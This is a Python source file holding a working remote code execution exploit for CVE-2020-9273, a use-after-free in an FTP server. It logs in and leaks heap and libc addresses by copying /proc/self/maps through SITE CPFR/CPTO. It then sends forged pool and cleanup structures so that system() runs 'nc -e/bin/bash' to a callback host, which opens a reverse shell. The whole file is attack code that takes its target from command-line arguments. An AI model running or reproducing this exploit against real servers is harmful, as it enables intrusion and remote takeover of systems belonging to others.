2022-01-13 17:57:04 +08:00

293 lines
7.8 KiB
Python

#!/usr/bin/env python3
#---------------------------------------------------------------------------------------------------------------
#
# Remote Code Execution PoC for CVE-2020-9273
#
# - @lockedbyte -
#
#---------------------------------------------------------------------------------------------------------------
import socket
import threading
from _thread import *
from pwn import *
import time
# --- CONFIG ---
RHOST = '127.0.0.1'
RPORT = 21
LHOST = '0.0.0.0'
LPORT = 3247
CHOST = '127.0.0.1'
CPORT = 4444
REMOTE_USER = b'pwn'
REMOTE_PASS = b'pwn'
# --- END CONFIG ---
'''
>>> (12*256)+175 # FTP data channel port
3247
'''
buf_send_sz = 15000
off = 97664
completed = 0
leaked = 0
heap_base = 0
text_base = 0
libc_base = 0
raw_lk = b''
lkport = 0
def payload_sender():
global completed
global leaked
global heap_base
global text_base
global libc_base
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((LHOST, LPORT))
s.listen()
print('[+] Binding at ' + str(LHOST) + ':' + str(LPORT))
conn, addr = s.accept()
while(not leaked):
continue
sleep(5)
print('[+] Received connection from: ' + addr[0] + ':' + str(addr[1]))
with conn:
print('[*] Sending payload...')
# Attention! If fixing resp_pool value remember to change it aswell on line 233
resp_pool = heap_base + 0x8c280 # 0x8c6e0 #0x98220
fake_pool_rec = resp_pool - 0x10
fake_cleanup_t = resp_pool + 0x50
fake_block_hdr = resp_pool + 0x18
dummy_writable = resp_pool - 0x1012
gid_tab = heap_base + 0x307c8 # 0x30c28 #0x3c768
tab_x = heap_base + 0x87168 # 0x875c8 #0x93798
padding = b'X'*74
#padding = b''
structx = b''
structx += p64(fake_cleanup_t) # resp_pool + 0x0 (p->first): fake->cleanups = resp_pool + 0x50
structx += p64(fake_block_hdr) # resp_pool + 0x8 (p->last): resp_pool + 0x18 (fake blok)
structx += p64(resp_pool + 0x20) # resp_pool + 0x10 (p->cleanups): resp_pool + 0x20
# res = pr_table_get(cmd->notes, "displayable-str", NULL); // should return NULL
structx += p64(tab_x + 0x18 - 0x28) # resp_pool + 0x18 (p->sub_pools): fake_blok->h.first_avail = tab + 0x18 - 0x28
structx += p64(gid_tab - 0x90) # resp_pool + 0x20 (p->sub_next): gid_tab - 0x90 (we want to overwrite gid_tab->pool)
structx += p64(gid_tab - 0x90) # resp_pool + 0x28 (p->sub_prev): gid_tab - 0x90 (we want to overwrite gid_tab->pool)
structx += p64(dummy_writable) # resp_pool + 0x30 (p->parent): any writable address, not needed but as we have leak better to do that
structx += p64(dummy_writable) # resp_pool + 0x38 (p->free_first_avail): any writable address, not needed but as we have leak better to do that
structx += p64(dummy_writable) # resp_pool + 0x40 (p->tag): any writable address, not needed but as we have leak better to do that
padx = b''
padx += p64(0x5858585858585858) # pad between pool_rec struct and cleanup_t struct
fake_cleanup = b''
fake_cleanup += p64(resp_pool + 0x70) # addr to command
fake_cleanup += p64(libc_base + 0x55410) # system@GLIBC
fake_cleanup += p64(0x4141414141414141)
fake_cleanup += p64(0x4242424242424242)
fake_cleanup += b'nc -e/bin/bash ' + CHOST.encode('utf-8') + b' ' + str(CPORT).encode('utf-8') + b'\x00' # cmd str (arg for system())
block = b''
block += structx
block += padx
block += fake_cleanup
payload2 = b''
payload2 += padding
payload2 += block*(int(buf_send_sz/8))
#payload2 += b'\r\n'
while True:
try:
for _ in range(20):
conn.send(payload2)
#conn.send(b'\r\n')
except:
break
print('[*] Closing connection with FTP server...')
conn.close()
s.close()
completed = 1
def parse_leak(raw_lk):
lns = raw_lk.split(b'\n')
for h in lns:
if(not b'[heap]' in h):
continue
heap = int(b'0x'+h.split(b'-')[0], 16)
break
text = int(b'0x'+raw_lk.split(b'-')[0], 16)
for l in lns:
if(b'libcrypt' in l or b'libcap' in l or not b'libc' in l):
continue
libc = int(b'0x'+l.split(b'-')[0], 16)
break
return heap, text, libc
def leak_data_conn():
global lkport
global raw_lk
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((RHOST, lkport))
raw_lk = s.recv(20000)
s.close()
return
def leak():
global raw_lk
global leaked
global heap_base
global text_base
global libc_base
global lkport
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('[*] Connecting to target: ' + str(RHOST) + ':' + str(RPORT))
s.connect((RHOST, RPORT))
print('[*] Receiving banner')
resp = s.recv(1024)
print('[*] Sending user...')
s.send(b'USER ' + REMOTE_USER + b'\r\n')
resp = s.recv(1024)
print('[*] Sending pass...')
s.send(b'PASS ' + REMOTE_PASS + b'\r\n')
resp = s.recv(1024)
if(b'logged in' in resp):
print('[+] Logged in')
else:
print('[-] Wrong credentials...')
exit()
s.send(b'SITE CPFR /proc/self/maps\r\n')
resp = s.recv(1024)
if(not b'350 File or di' in resp):
print('[-] Something went wrong...')
exit()
s.send(b'SITE CPTO /tmp/pwn.me\r\n')
resp = s.recv(1024)
if(not b'250 Copy succ' in resp):
print('[-] Something went wrong...')
exit()
s.send(b'TYPE I\r\n')
resp = s.recv(1024)
if(not b'200 Type set' in resp):
print('[-] Something went wrong...')
exit()
s.send(b'PASV\r\n')
resp = s.recv(1024)
if(not b'227 Enter' in resp):
print('[-] Something went wrong...')
exit()
s.send(b'RETR /tmp/pwn.me\r\n')
a = int(resp.split(b',')[4])
b = int(resp.split(b',')[5].split(b')')[0])
rport = (a*256) + b
lkport = rport
sleep(3)
start_new_thread(leak_data_conn, ())
time.sleep(2)
resp = s.recv(1024)
if(not b'226 Transfe' in resp):
print('[-] Something went wrong...')
exit()
if(raw_lk == b''):
print('[-] Error trying to leak...')
exit()
heap_base, text_base, libc_base = parse_leak(raw_lk)
sleep(0.4)
leaked = 1
s.close()
print('[+] Leaked: heap base = ' + hex(heap_base))
print('[+] Leaked: text base = ' + hex(text_base))
print('[+] Leaked: libc base = ' + hex(libc_base))
return
def main_thread():
global leaked
global heap_base
global text_base
global libc_base
leak()
pause()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
resp_pool = heap_base + 0x8c280 # 0x8c6e0
print('[*] Connecting to target: ' + str(RHOST) + ':' + str(RPORT))
s.connect((RHOST, RPORT))
print('[*] Receiving banner')
resp = s.recv(1024)
print('[*] Sending user...')
s.send(b'USER ' + REMOTE_USER + b'\r\n')
resp = s.recv(1024)
print('[*] Sending pass...')
s.send(b'PASS ' + REMOTE_PASS + b'\r\n')
resp = s.recv(1024)
if(b'logged in' in resp):
print('[+] Logged in')
else:
print('[-] Wrong credentials...')
exit()
print('[*] forcing a use-after-free condition...')
s.send(b'TYPE I\r\n')
s.send(b'PORT 127,0,0,1,12,175\r\n')
s.send(b'STOR /tmp/uaf\r\n')
fake_gid_tab = b''
fake_gid_tab += b'XXXX ' # actual command
fake_gid_tab += b'AAA' # padding to fit address
fake_gid_tab += p64(resp_pool - 0x10)
# "displayable-str" will be written here ...
s.send(fake_gid_tab)
s.close()
def main():
global completed
global leaked
global heap_base
global RHOST
global RPORT
global CHOST
global CPORT
global REMOTE_USER
global REMOTE_PASS
print('[i] CVE-2020-9273 PoC Exploit by @lockedbyte')
if(len(sys.argv) < 7):
print('[%] Usage: python3 exploit.py <target IP> <target port> <callback IP> <callback port> <username> <password>')
exit()
RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
CHOST = sys.argv[3]
CPORT = int(sys.argv[4])
REMOTE_USER = sys.argv[5].encode('utf-8')
REMOTE_PASS = sys.argv[6].encode('utf-8')
start_new_thread(payload_sender, ())
start_new_thread(main_thread, ())
while True:
if(completed == 1):
print('[i] Check callback: ' + str(CHOST) + ':' + str(CPORT) + ' for a reverse shell')
print('[+] Exploit completed')
exit()
continue
if __name__ == '__main__':
main()